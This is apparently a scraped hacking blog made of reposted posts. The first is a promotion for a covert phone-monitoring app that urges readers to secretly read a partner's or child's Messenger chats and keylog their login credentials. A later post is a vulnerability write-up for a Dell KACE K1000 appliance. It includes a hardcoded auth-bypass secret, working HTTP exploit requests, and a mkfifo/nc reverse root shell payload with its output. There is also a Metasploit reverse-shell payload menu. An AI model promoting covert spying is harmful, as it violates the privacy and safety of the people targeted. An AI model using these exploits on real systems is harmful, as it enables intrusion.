22 Mayıs 2020 Cuma

How To Hack Facebook Messenger Conversation

FACEBOOK Messenger has become an exceptionally popular app across the globe in general. This handy app comes with very interactive and user-friendly features to impress users of all ages.

With that being said, there are a lot of people who are interested in knowing how to hack Facebook Messenger in Singapore, Hong Kong and other places. The requirement to hack Facebook Messenger arises due to various reasons. In this article, we are going to explain how to hack Facebook Messenger with ease.

As you may know, Facebook Messenger offers a large range of features. Compared to the initial release of this app, the latest version shows remarkable improvement. Now, it has a large range of features including group chats, video calls, GIFs, etc. A lot of corporate organizations use Facebook messenger as a mode of communication for their marketing purposes. Now, this messenger app is compatible with chatbots that can handle inquiries.

Why Hack Facebook Messenger in Singapore?

You may be interested in hacking Facebook Messenger in Singapore (or anywhere else) for various reasons. If you suspect that your partner is having an affair, you may want to hack Facebook Messenger. Or, if you need to know what your kids are doing with the messenger, you will need to hack it to have real time access.

You know that both of these situations are pretty justifiable and you intend no unethical act. You shouldn't hack Facebook Messenger of someone doesn't relate to you by any means, such a practice can violate their privacy. Having that in mind, you can read the rest of this article and learn how to hack Facebook Messenger.

How to Hack Someone's Facebook Messenger in Singapore

IncFidelibus is a monitoring application developed by a team of dedicated and experienced professionals. It is a market leader and has a customer base in over 191+ countries. It is very easy to install the app, and it provides monitoring and hacking of Facebook for both iOS and Android mobile devices. You can easily hack into someone's Facebook messenger and read all of their chats and conversations.

Not just reading the chats, you can also see the photo profile of the person they are chatting to, their chat history, their archived conversations, the media shared between them and much more. The best part is that you can do this remotely, without your target having even a hint of it. Can it get any easier than this?

No Rooting or Jailbreaking Required

IncFidelibus allows hacking your target's phone without rooting or jailbreaking it. It ensures the safety of their phone remains intact. You don't need to install any unique rooting tool or attach any rooting device.

Total Web-Based Monitoring

You don't need to use any unique gadget or app to track activity with IncFidelibus. It allows total web-based monitoring. All that you need is a web browser to view the target device's data and online activities.

Spying With IncFidelibus in Singapore

Over ten years of security expertise, with over 570,000 users in about 155+ countries, customer support that can be reached through their website, and 96% customer satisfaction. Need more reasons to trust IncFidelibus?

Stealth Mode

IncFidelibus runs in pure Stealth mode. You can hack and monitor your target's device remotely and without them knowing about it. IncFidelibus runs in the background of your target's device. It uses very less battery power and doesn't slow down your phone.

Hacking Facebook Messenger in Singapore using IncFidelibus

Hacking Facebook Messenger has never been this easy. IncFidelibus is equipped with a lot of advance technology for hacking and monitoring Facebook. Hacking someone's Facebook Messenger is just a few clicks away! 

Track FB Messages in Singapore

With IncFidelibus, you can view your target's private Facebook messages and group chats within a click. This feature also allows you to access the Facebook profile of the people your target has been interacting with. You can also get the media files shared between the two.

Android Keylogger

IncFidelibus is equipped with a powerful keylogger. Using this feature, you can record and then read every key pressed by your target on their device.

This feature can help get the login credentials of your target. You can easily log into someone's Facebook and have access to their Facebook account in a jiffy.

What Else Can IncFidelibus Do For You?

IncFidelibus control panel is equipped with a lot of other monitoring and hacking tools and services, including;

Other Social Media Hacking

Not just FB messenger, but you can also hack someone's Instagram, Viber, Snapchat, WhatsApp hack, SMS conversations, call logs, Web search history, etc.

SIM card tracking

You can also track someone SIM card if someone has lost their device, changed their SIM card. You can get the details of the new number also.

Easy Spying Possible with IncFidelibus

Monitoring someone's phone is not an easy task. IncFidelibus has spent thousands of hours, had sleepless nights, did tons of research, and have given a lot of time and dedication to make it possible.

@HACKER NT

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21 Mayıs 2020 Perşembe

Discover: A Custom Bash Scripts Used To Perform Pentesting Tasks With Metasploit


About discover: discover is a custom bash scripts used to automate various penetration testing tasks including recon, scanning, parsing, and creating malicious payloads and listeners with Metasploit Framework. For use with Kali Linux, Parrot Security OS and the Penetration Testers Framework (PTF).

About authors:

discover Installation and Updating


About RECON in discover
   Domain

RECON

1. Passive
2. Active
3. Import names into an existing recon-ng workspace
4. Previous menu

   Passive uses ARIN, dnsrecon, goofile, goog-mail, goohost, theHarvester, Metasploit Framework, URLCrazy, Whois, multiple websites, and recon-ng.

   Active uses dnsrecon, WAF00W, traceroute, Whatweb, and recon-ng.
   [*] Acquire API keys for Bing, Builtwith, Fullcontact, GitHub, Google, Hashes, Hunter, SecurityTrails, and Shodan for maximum results with recon-ng and theHarvester.

API key locations:

recon-ng
   show keys
   keys add bing_api <value>

theHarvester
   /opt/theHarvester/api-keys.yaml

   Person: Combines info from multiple websites.

RECON

First name:
Last name:

   Parse salesforce: Gather names and positions into a clean list.

Create a free account at salesforce (https://connect.data.com/login).
Perform a search on your target company > select the company name > see all.
Copy the results into a new file.

Enter the location of your list:

About SCANNING in discover
   Generate target list: Use different tools to create a target list including Angry IP Scanner, arp-scan, netdiscover and nmap pingsweep.

SCANNING

1. Local area network
2. NetBIOS
3. netdiscover
4. Ping sweep
5. Previous menu


   CIDR, List, IP, Range, or URL

Type of scan:

1. External
2. Internal
3. Previous menu

  • External scan will set the nmap source port to 53 and the max-rrt-timeout to 1500ms.
  • Internal scan will set the nmap source port to 88 and the max-rrt-timeout to 500ms.
  • Nmap is used to perform host discovery, port scanning, service enumeration and OS identification.
  • Matching nmap scripts are used for additional enumeration.
  • Addition tools: enum4linux, smbclient, and ike-scan.
  • Matching Metasploit auxiliary modules are also leveraged.

About WEB in discover
   Insecure direct object reference

Using Burp, authenticate to a site, map & Spider, then log out.
Target > Site map > select the URL > right click > Copy URLs in this host.
Paste the results into a new file.


Enter the location of your file:

   Open multiple tabs in Firefox

Open multiple tabs in Firefox with:

1. List
2. Directories from robots.txt.
3. Previous menu

  • Use a list containing IPs and/or URLs.
  • Use wget to pull a domain's robot.txt file, then open all of the directories.

   Nikto

Run multiple instances of Nikto in parallel.

1. List of IPs.
2. List of IP:port.
3. Previous menu

    SSL: Use sslscan and sslyze to check for SSL/TLS certificate issues.

Check for SSL certificate issues.

Enter the location of your list:

About MISC in discover
   Parse XML

Parse XML to CSV.

1. Burp (Base64)
2. Nessus (.nessus)
3. Nexpose (XML 2.0)
4. Nmap
5. Qualys
6. revious menu

   Generate a malicious payload

Malicious Payloads

1. android/meterpreter/reverse_tcp
2. cmd/windows/reverse_powershell
3. java/jsp_shell_reverse_tcp (Linux)
4. java/jsp_shell_reverse_tcp (Windows)
5. linux/x64/meterpreter_reverse_https
6. linux/x64/meterpreter_reverse_tcp
7. linux/x64/shell/reverse_tcp
8. osx/x64/meterpreter_reverse_https
9. osx/x64/meterpreter_reverse_tcp
10. php/meterpreter/reverse_tcp
11. python/meterpreter_reverse_https 12. python/meterpreter_reverse_tcp
13. windows/x64/meterpreter_reverse_https
14. windows/x64/meterpreter_reverse_tcp
15. Previous menu

   Start a Metasploit listener

Metasploit Listeners

1. android/meterpreter/reverse_tcp
2. cmd/windows/reverse_powershell
3. java/jsp_shell_reverse_tcp
4. linux/x64/meterpreter_reverse_https
5. linux/x64/meterpreter_reverse_tcp
6. linux/x64/shell/reverse_tcp
7. osx/x64/meterpreter_reverse_https
8. osx/x64/meterpreter_reverse_tcp
9. php/meterpreter/reverse_tcp
10. python/meterpreter_reverse_https
11. python/meterpreter_reverse_tcp
12. windows/x64/meterpreter_reverse_https
13. windows/x64/meterpreter_reverse_tcp
14. Previous menu


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Setting Up A Burp Development Environment

This quick blog post will document getting started with developing Burp extensions using java. Burp provides interfaces for developers to hook into the Burp application and extend the application or integrate with other tools, this interface is documented on the following site - http://portswigger.net/burp/extender/

For this guide you will need the following items:


After downloading and opening up Eclipse you will need to create a new java project. This can be done by clicking "File->New Java Project". Fill in a project name and click finish.

Once the project has been created you will need to create a new package called "burp". This can be done by right clicking the "src" folder under your new project and selecting "New->Package". When the dialog comes up set the "Name" as "burp":

You should now have a package named "burp" under the source folder in the right pane. Now you will need to import the Burp extender classes into your project. Download all of the extender classes to a local folder, once this is done right click on the "burp" package in your project and select "Import". On the dialog window that comes up select "General->File System" and hit "next":

On the next dialog you will need to navigate to where you downloaded the Burp extender classes to. Once you have done this you should see the classes, click on the folder to select all items and click "Finish":

Next we can add the Burp application into the project. To do this click on "Project->Properties" on the top toolbar. When the dialog opens select "Java Build Path" and then the "Libraries" tab. On this dialog click "Add External JARs..."
Navigate to where ever you have Burp downloaded to and select it. After you have done this click "OK" to dismiss the dialog. You are now ready to build your own Burp extensions. You can test your environment by creating a new class in the burp package named "BurpExtender". Right click the "burp" package and click "New->Class". On the dialog that comes up enter "BurpExtender" and click "Finish":

In the "BurpExtender" class you can enter the following:


package burp;


public class BurpExtender
{
    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
    {
        callbacks.registerMenuItem("Hello World.", new CustomMenuItem());
    }
}


class CustomMenuItem implements IMenuItemHandler
{
    public void menuItemClicked(String menuItemCaption, IHttpRequestResponse[] messageInfo)
    {
        try
        {
            System.out.println("Hello From Burp!");
            System.out.println("Request Item Details");
            System.out.println("Host: " + messageInfo[0].getHost());
            System.out.println("URL: " + messageInfo[0].getUrl());


        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }
}


After adding the content to your "BurpExtender" class you are ready to run the project for the first time. Click on "Run->Run" from the menu. You should see the following dialog asking how it should run your project:
Select "Java Application" and click "Ok". Next you should receive a dialog asking which application you want to run. Select "StartBurp - burp" and click "Ok":

You should now see the burp application running. Intercept a request in the application and right click on the request, you should now see an item in the menu named "Hello World."

When you click the "Hello World." menu button you should see some information about the request in your eclipse console window:

That's it, you now have setup your working development environment for building your own Burp extensions. The javadocs for the Burp Extender interfaces are available on the Extender web page:


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How To Install Metasploit In Termux

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TERMINOLOGIES OF ETHICAL HACKING

What is the terminologies in ethical hacking?

Here are a few key terms that you will hear in discussion about hackers and what they do:


1-Backdoor-A secret pathway a hacker uses to gain entry to a computer system.


2-Adware-It is the softw-are designed to force pre-chosen ads to display on your system.


3-Attack-That action performs by a attacker on a system to gain unauthorized access.


4-Buffer Overflow-It is the process of attack where the hacker delivers malicious commands to a system by overrunning an application buffer.


5-Denial-of-Service attack (DOS)-A attack designed to cripple the victim's system by preventing it from handling its normal traffic,usally by flooding it with false traffic.


6-Email Warm-A virus-laden script or mini-program sent to an unsuspecting victim through a normal-looking email message.


7-Bruteforce Attack-It is an automated and simplest kind of method to gain access to a system or website. It tries different combination of usernames and passwords,again & again until it gets in from bruteforce dictionary.


8-Root Access-The highest level of access to a computer system,which can give them complete control over the system.


9-Root Kit-A set of tools used by an intruder to expand and disguise his control of the system.It is the stealthy type of software used for gain access to a computer system.


10-Session Hijacking- When a hacker is able to insert malicious data packets right into an actual data transmission over the internet connection.


11-Phreaker-Phreakers are considered the original computer hackers who break into the telephone network illegally, typically to make free longdistance phone calls or to tap lines.


12-Trojan Horse-It is a malicious program that tricks the computer user into opening it.There designed with an intention to destroy files,alter information,steal password or other information.


13-Virus-It is piece of code or malicious program which is capable of copying itself has a detrimental effect such as corrupting the system od destroying data. Antivirus is used to protect the system from viruses.


14-Worms-It is a self reflicating virus that does not alter  files but resides in the active memory and duplicate itself.


15-Vulnerability-It is a weakness which allows a hacker to compromise the security of a computer or network system to gain unauthorized access.


16-Threat-A threat is a possible danger that can exploit an existing bug or vulnerability to comprise the security of a computer or network system. Threat is of two types-physical & non physical.


17-Cross-site Scripting-(XSS) It is a type of computer security vulnerability found in web application.It enables attacker to inject client side script into web pages viwed by other users.


18-Botnet-It is also known as Zombie Army is a group of computers controlled without their owner's knowledge.It is used to send spam or make denial of service attacks.


19-Bot- A bot is a program that automates an action so that it can be done repeatedly at a much higher rate for a period than a human operator could do it.Example-Sending HTTP, FTP oe Telnet at a higer rate or calling script to creat objects at a higher rate.


20-Firewall-It is a designed to keep unwanted intruder outside a computer system or network for safe communication b/w system and users on the inside of the firewall.


21-Spam-A spam is unsolicited email or junk email sent to a large numbers of receipients without their consent.


22-Zombie Drone-It is defined as a hi-jacked computer that is being used anonymously as a soldier or drone for malicious activity.ExDistributing Unwanted Spam Emails.


23-Logic Bomb-It is a type of virus upload in to a system that triggers a malicious action when certain conditions are met.The most common version is Time Bomb.


24-Shrink Wrap code-The process of attack for exploiting the holes in unpatched or poorly configured software.


25-Malware-It is an umbrella term used to refer a variety of intrusive software, including computer viruses,worms,Trojan Horses,Ransomeware,spyware,adware, scareware and other malicious program.


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5 Free Online Courses To Learn Artificial Intelligence

We are living in the era of fourth industrial revolution(4IR), where Artificial intelligence has a significant role to play. This 4IR technology embedded within societies and even into the human body. From Computer enthusiasts to common people, everyone should be aware and learn this breakthrough technology.
We think about gigantic Robots from Transformers when we hear about Artificial Intelligence(AI) which is a fiction in the past but a fact today, capable of transforming the whole tech world. The field of AI consists of more than Robots such as personal assistants, self-driving cars, apprenticeship learning, behavior cloning and so on. To learn about this advanced technology, thanks to the online learning resources which offers great content to get started with artificial intelligence.

Here are the 5 free e-learning courses on Artificial Intelligence

1. UC Berkeley CS188 Intro to AI

Get started with UC Berkeley AI course, this course is absolutely for beginners who are unaware of Artificial intelligence. It doesn't need any prior computer knowledge to know about AI. UC Berkeley allows anyone to learn this course for free. This course is systematically presented and consists of the following:
  • Course Schedule
  • Complete sets of Lecture Slides and Videos
  • Interface for Electronic Homework Assignments
  • Section Handouts
  • Specs for the Pacman Projects
  • Source files and PDFs of past Berkeley CS188 exams
  • Form to apply for edX hosted autograders for homework and projects (and more)
  • Contact information
Aside from this, you can also browse the following courses as well from UC Berkeley that are part of AI course:
  • Machine Learning: CS189, Stat154
  • Intro to Data Science: CS194-16
  • Probability: EE126, Stat134
  • Optimization: EE127
  • Cognitive Modeling: CogSci131
  • Machine Learning Theory: CS281A, CS281B
  • Vision: CS280
  • Robotics: CS287
  • Natural Language Processing: CS288

2. Artificial Intelligence: Principles and Techniques

This course is offered by Stanford with great content that includes topics, videos, assignments, projects, and exams. The whole course mainly focuses on the complex real-world problems and try to find similarity between web search, speech recognition, face recognition, machine translation, autonomous driving, and automatic scheduling. Here you will learn the foundational principles of AI and implement some the AI systems. The goal of this course is to help you tackle the real-world situations with the help of AI tools. So, it is the best for the beginner to get started with AI.

3. Learn with GOOGLE AI

Who will dislike the course from Google? absolutely no one. This company is one of the early adopters of AI has a lot to offer to learners. Learn with Google AI is an education platform for people at all experience levels, it is free to access and browse content. The education resources provided by Google is from the machine learning experts of the company. These resources are the collections of lessons, tutorials, and Hands-on exercises that help you start learning, building, and problem-solving.

4. MIT 6.S094: Deep Learning for Self-Driving Cars

This course gives the practical overview of Deep Learning and AI. It is the course for beginners, also for the people who are getting started with Machine Learning. The course also offers a lot of benefits to the experienced and advanced researchers in the field deep learning. This MIT's course takes people into the journey of Deep Learning with the applied theme of building Self-Driving cars. However, the course also offers slides and videos to engage the learners.

5. Fundamentals of Deep Learning for Computer Vision

This course is offered by Nvidia and Nvidia Deep learning Institute. Computer Vision is one of the disciplines of AI that acquire, analyze, process, and understand images. The course is completely free and everyone who is enthusiast about AI can access and learn the course. It is a hands-on course that able to provide basics of deep learning and deployment of neural networks. With this. you will also learn the following:
  • Identify the ingredients required to start a Deep Learning project.
  • Train a deep neural network to correctly classify images it has never seen before.
  • Deploy deep neural networks into applications.
  • Identify techniques for improving the performance of deep learning applications.
  • Assess the types of problems that are candidates for deep learning.
  • Modify neural networks to change their behavior.

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Open Sesame - A Tool Which Runs To Display Random Publicly Disclosed Hackerone Reports When Bored


A python tool which runs to display random publicly disclosed Hackerone reports when bored. Automatically opens the report in browser.
Contains Over 8k Publicly disclosed Hackerone reports and addtl. wordlist of ~700 bug bounty writeups.
This is a productivity tool for security enthusiasts and bug bounty hunters. I have written a blog here giving my idea of how to use this efficiently.
Launching Open Sesame!


Additional features include:
  • Opening URL from custom wordlist which has bug bounty writeups.
  • Fetching and Updating the newly disclosed Hackerone publicly disclosed reports.

Usage:
Pl install components in rquirements.txt
python3 default.py Opens a random magic URL from the collection of publicly disclosed h1 reports.



python3 default.py --custom Opens a random magic URL from the collection of custom wordlist having bug bounty writeups.


python3 default.py --refresh Refreshes and adds newly publicly disclosed h1 reports to your file(final.txt)


Known Issues
  • The ability of not able to distinguish between completely publicly disclosed reports and reports with limited disclosures.
  • The tool may break in the way of how it works if it gets run after a long time. The default range specified is scraping 10 pages to reduce load on the site. If you believe you are running it after a long time, consider increasing the range upto 50 in main for loop in refresh.py before running. This will enable collecting all the reports till the recent report extracted in the final.txt.

Thanks
  • h1.nobbd(dot)de
  • bugreader(dot)com
  • Awesome-Bugbounty-Writeups Repo
  • and other helpful sources.. :)




via KitPloit
This article is the property of Tenochtitlan Offensive Security. Verlo Completo --> https://tenochtitlan-sec.blogspot.com

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20 Mayıs 2020 Çarşamba

The Curious Case Of The Ninjamonkeypiratelaser Backdoor

A bit over a month ago I had the chance to play with a Dell KACE K1000 appliance ("http://www.kace.com/products/systems-management-appliance"). I'm not even sure how to feel about what I saw, mostly I was just disgusted. All of the following was confirmed on the latest version of the K1000 appliance (5.5.90545), if they weren't working on a patch for this - they are now.

Anyways, the first bug I ran into was an authenticated script that was vulnerable to path traversal:
POST /userui/downloadpxy.php HTTP/1.1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: kboxid=xxxxxxxxxxxxxxxxxxxxxxxx
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download

HTTP/1.1 200 OK
Date: Tue, 04 Feb 2014 21:38:39 GMT
Server: Apache
Expires: 0
Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: public
Content-Length: 47071
Content-Disposition: attachment; filename*=UTF-8''..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fusr%2Flocal%2Fetc%2Fphp.ini
X-DellKACE-Appliance: k1000
X-DellKACE-Version: 5.5.90545
X-KBOX-Version: 5.5.90545
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/ini
[PHP]
;;;;;;;;;;;;;;;;;;;
; About php.ini   ;
;;;;;;;;;;;;;;;;;;;
That bug is neat, but its post-auth and can't be used for RCE because it returns the file as an attachment :(

So moving along, I utilized the previous bug to navigate the file system (its nice enough to give a directory listing if a path is provided, thanks!), this led me to a file named "kbot_upload.php". This file is located on the appliance at the following location:
http://targethost/service/kbot_upload.php
This script includes "KBotUpload.class.php" and then calls "KBotUpload::HandlePUT()", it does not check for a valid session and utilizes its own "special" means to auth the request.

The "HandlePut()" function contains the following calls:

        $checksumFn = $_GET['filename'];
        $fn = rawurldecode($_GET['filename']);
        $machineId = $_GET['machineId'];
        $checksum = $_GET['checksum'];
        $mac = $_GET['mac'];
        $kbotId = $_GET['kbotId'];
        $version = $_GET['version'];
        $patchScheduleId = $_GET['patchscheduleid'];
        if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
            KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, "
                  ."($machineId, $checksumFn, $mac)");
            KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 "
                  ."from HandlePUT(".construct_url($_GET).")");
            header("Status: 500", true, 500);
            return;
        }

The server checks to ensure that the request is authorized by inspecting the "checksum" variable that is part of the server request. This "checksum" variable is created by the client using the following:

      md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');

Server side check:
    private static function calcTokenChecksum($filename, $machineId, $mac)
    {
        //return md5("$filename $machineId $mac" . $ip .
        //           'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
     
        // our tracking of ips really sucks and when I'm vpn'ed from
        // home I couldn't get patching to work, cause the ip that
        // was on the machine record was different from the
        // remote server ip.
        return md5("$filename $machineId $mac" .
                   'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
    }
The "secret" value is hardcoded into the application and cannot be changed by the end user (backdoor++;). Once an attacker knows this value, they are able to bypass the authorization check and upload a file to the server. 

In addition to this "calcTokenChecksum" check, there is a hardcoded value of "SCRAMBLE" that can be provided by the attacker that will bypass the auth check (backdoor++;):  
 if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") {
Once this check is bypassed we are able to write a file anywhere on the server where we have permissions (thanks directory traversal #2!), at this time we are running in the context of the "www" user (boooooo). The "www" user has permission to write to the directory "/kbox/kboxwww/tmp", time to escalate to something more useful :)

From our new home in "tmp" with our weak user it was discovered that the KACE K1000 application contains admin functionality (not exposed to the webroot) that is able to execute commands as root using some IPC ("KSudoClient.class.php").


The "KSudoClient.class.php" can be used to execute commands as root, specifically the function "RunCommandWait". The following application call utilizes everything that was outlined above and sets up a reverse root shell, "REMOTEHOST" would be replaced with the host we want the server to connect back to:
    POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: keep-alive
    Content-Length: 190
    <?php
    require_once 'KSudoClient.class.php';
    KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?> 
Once this was sent, we can setup our listener on our server and call the file we uploaded and receive our root shell:
    http://targethost/service/tmp/db.php
On our host:
    ~$ ncat -lkvp 4444
    Ncat: Version 5.21 ( http://nmap.org/ncat )
    Ncat: Listening on 0.0.0.0:4444
    Ncat: Connection from XX.XX.XX.XX
    sh: can't access tty; job control turned off
    # id
    uid=0(root) gid=0(wheel) groups=0(wheel)  

So at the end of the the day the count looks like this:
Directory Traversals: 2
Backdoors: 2
Privilege Escalation: 1
That all adds up to owned last time I checked.

Example PoC can be found at the following location:
https://github.com/steponequit/kaced/blob/master/kaced.py

Example usage can be seen below:


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CEH: Gathering Host And Network Information | Scanning

Scanning

It is important that the information-gathering stage be as complete as possible to identify the best location and targets to scan. After the completion of  footprinting and information gathering methodologies, scanning is performed.
During scanning, the hacker has vision to get information about network an hosts which are connected to that network that can help hackers to determine which type of exploit to use in hacking a system precisely. Information such as an IP addresses, operating system, services, and installed applications.

Scanning is the methodology used to detect the system that are alive and respond on the network or not. Ethical hackers use these type of scanning to identify the IP address of target system. Scanning is also used to determine the availability of the system whether it is connected to the network or not.

Types Of Scanning 

Network ScanningIdentifies IP addresses on a given network or subnet
Port ScanningDetermines open, close, filtered and unfiltered ports and services
Vulnerability ScannerDetect the vulnerability on the target system

Port Scanning ​

Port scanning is the process of identifying open and available TCP/IP ports on a system. Port-scanning tools enable a hacker to learn about the services available on a given system. Each service or application on a machine is associated with a well-known port number. Port Numbers are divided into three ranges:
  • Well-Known Ports: 0-1023
  • Registered Ports: 1024-49151
  • Dynamic Ports: 49152-6553

Network Scanning

Network scanning is performed for the detection of active hosts on a network either you wanna attack them or as a network administrator. Network-scanning tools attempt to identify all the live or responding hosts on the network and their corresponding IP addresses. Hosts are identified by their individual IP addresses.

Vulnerability Scanning

This methodology is used to detect vulnerabilities of computer systems on a network. A vulnerability scanner typically identifies the operating system and version number, including applications that are installed. After that the scanner will try to detect vulnerabilities and weakness in the operating system. During the later attack phase, a hacker can exploit those weaknesses in order to gain access to the system. Moreover, the vulnerability scanner can be detected as well, because the scanner must interact over the network with target machine.

The CEH Scanning Methodology

As a CEH, you should understand the methodology about scanning presented in the figure below. Because this is the actual need of hackers to perform further attacks after the information about network and hosts which are connected to the network. It detects the vulnerabilities in the system bu which hackers can be accessible to that system by exploitation of that vulnerabilities.



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